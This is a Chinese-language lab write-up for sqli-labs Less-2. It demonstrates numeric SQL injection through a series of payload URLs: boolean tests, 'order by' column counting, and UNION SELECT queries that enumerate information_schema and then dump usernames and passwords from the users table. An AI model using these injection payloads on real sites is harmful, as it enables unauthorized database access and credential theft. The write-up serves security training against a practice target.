https://sqli.wmcoder.site/sqli-labs/Less-2/?id=1
当输入的参 x 为整型时,通常 abc.php 中 Sql 语句类型大致如下:
select * from <表名> where id = x
这种类型可以使用经典的and 1=1和and 1=2来判断:
Url 地址中输入http://xxx/abc.php?id= x and 1=1页面依旧运行正常,继续进行下一步。
Url地址中继续输入http://xxx/abc.php?id= x and 1=2页面运行错误,则说明此 Sql 注入为数字型注入。
原因如下:
- 当输入 and 1=1时,后台执行 Sql 语句:select * from <表名> where id = x and 1=1没有语法错误且逻辑判断为正确,所以返回正常。
- 当输入 and 1=2时,后台执行 Sql 语句:select * from <表名> where id = x and 1=2没有语法错误但是逻辑判断为假,所以返回错误。
- 我们再使用假设法:如果这是字符型注入的话,我们输入以上语句之后应该出现如下情况:
select * from <表名> where id = 'x and 1=1'
select * from <表名> where id = 'x and 1=2'
查询语句将 and 语句全部转换为了字符串,并没有进行 and 的逻辑判断,所以不会出现以上结果,故假设是不成立的。
经过语句and 1=2测试 ,页面回显易常,所以该地方是数值查询。
https://sqli.wmcoder.site/sqli-labs/Less-2/?id=1 and 1=1
https://sqli.wmcoder.site/sqli-labs/Less-2/?id=1 and 1=2
使用order by语句判断该表中一共有几列数据。order by 3页面回显正常,order by 4页面回显不正常,
https://sqli.wmcoder.site/sqli-labs/Less-2/?id=1 order by 3--+
https://sqli.wmcoder.site/sqli-labs/Less-2/?id=1 order by 3--+
发现页面先输出了2和3,说明页面有2个显示位。
https://sqli.wmcoder.site/sqli-labs/Less-2/?id=1 and 1=2 union select 1,2,3 -- limit 0,1
接下来查看数据库名和版本号
https://sqli.wmcoder.site/sqli-labs/Less-2/?id=1 and 1=2 union select 1,database(),version() --+
https://sqli.wmcoder.site/sqli-labs/Less-2/?id=1 and 1=2 union select 1,group_concat(schema_name),3 from information_schema.schemata -- limit 0,1
通过mysql数据库中的information_schema数据中的tables表来查询所有的表相关信息
由于上面已经爆破出数据库名security,可以直接这样爆破
https://sqli.wmcoder.site/sqli-labs/Less-2/?id=1 and 1=2 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security' --+
如果上一步没有爆破数据库名,也可以这样爆破
https://sqli.wmcoder.site/sqli-labs/Less-2/?id=1 and 1=2 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() --+
SQL语句,limit有两个参数,第一个参数表示从第几行数据开始查,第二个参数表示查几条数据,“limit 3,2”表示从第四行数据开始,取两条数据。
https://sqli.wmcoder.site/sqli-labs/Less-2/?id=1 and 1=2 union select 1,table_name,3 from information_schema.tables where table_schema=database() limit 0,1 --+
https://sqli.wmcoder.site/sqli-labs/Less-2/?id=1 and 1=2 union select 1,table_name,3 from information_schema.tables where table_schema=database() limit 1,1 --+
查出表为emails,referers,uagents,users。明显users表是用来保存用户密码的。
https://sqli.wmcoder.site/sqli-labs/Less-2/?id=1 and 1=2 union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='security' and table_name='users' --+
https://sqli.wmcoder.site/sqli-labs/Less-2/?id=1 and 1=2 union select 1,column_name,3 from information_schema.columns where table_schema='security' and table_name='users' limit 0,1 --+
https://sqli.wmcoder.site/sqli-labs/Less-2/?id=1 and 1=2 union select 1,column_name,3 from information_schema.columns where table_schema='security' and table_name='users' limit 1,1 --+
https://sqli.wmcoder.site/sqli-labs/Less-2/?id=1 and 1=2 union select 1,group_concat(username), group_concat(password) from security.users --+
成功!